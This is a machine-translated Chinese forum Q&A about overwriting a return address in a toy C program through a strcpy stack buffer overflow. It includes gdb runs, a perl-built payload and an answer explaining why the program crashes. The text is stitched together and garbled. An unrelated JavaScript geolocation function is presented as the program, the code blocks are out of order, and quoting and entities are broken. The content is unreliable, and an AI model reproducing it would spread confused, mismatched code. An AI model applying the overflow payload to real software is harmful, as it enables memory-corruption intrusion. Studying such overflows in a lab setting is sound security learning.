我非常确定我这样做是正确的,我已经遵循了许多教程,但无法让这个例子为我工作。 我的目标是致电'秘密'
所以我有这个c ++程序:
function getLocation(cb) {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(function (position) {
var geo_param = "geolocation=[" + position.coords.latitude + "," + position.coords.longitude + "]";
if (typeof cb === 'function') {
cb(geo_param);
}
});
}
}
function search(activity) {
getLocation(function (geo_param) {
window.location.href = "/s?activity=" + activity + "&" + geo_param;
});
}
然后我将它输入gdb并运行它,溢出缓冲区直到我得到:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
void secret() {
printf( "You Won!");
}
int check(char *name) {
char buffer[16];
strcpy( buffer, name );
printf( "Your name is: %s \n", buffer);
srand(time(NULL));
return rand();
}
int main(int argc, char **argv) {
int randnum;
randnum = check(argv[1]);
if(randnum < 5) {
secret();
} else {
return( 0 );
}
return( 0 );
}
所以CCCC是返回地址。所以在gdb中我运行了'disas main&#39;返回:
(gdb) run AAAABBBBAAAABBBBAAAABBBBAAAACCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: ... AAAABBBBAAAABBBBAAAABBBBAAAACCCC
Your name is: AAAABBBBAAAABBBBAAAABBBBAAAACCCC
The buffer address is [0xffffd960].
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
所以我尝试输入:( gdb)运行$(perl -e&#39; print&#34; A&#34; x28。&#34; \ xab \ x84 \ x04 \ x08&#34; x1&# 39)
我得到了:
编程接收信号SIGSEGV,分段故障。 0xffffdb00在?? ?? ()
为什么这不起作用?是否有可能将条件溢出为真实的?
答案 0 :(得分:0)
编辑:我假设您正在学习安全性并尝试缓冲区溢出。您可能想要向其他人澄清您并不是在尝试编写类似的程序。
你正在做的事情似乎是正确的,我认为secret
函数被调用,但程序从它返回时崩溃。 "You Won!"
文本未打印出来,因为它没有从某个缓冲区中刷新。您可以尝试在secret
函数上放置断点,您应该看到它正被调用。您还可以在字符串末尾添加新行\n
,以帮助在程序死亡之前将其清除。
如果您想让secret
发生,然后正确退出程序,则需要更复杂的输入数据。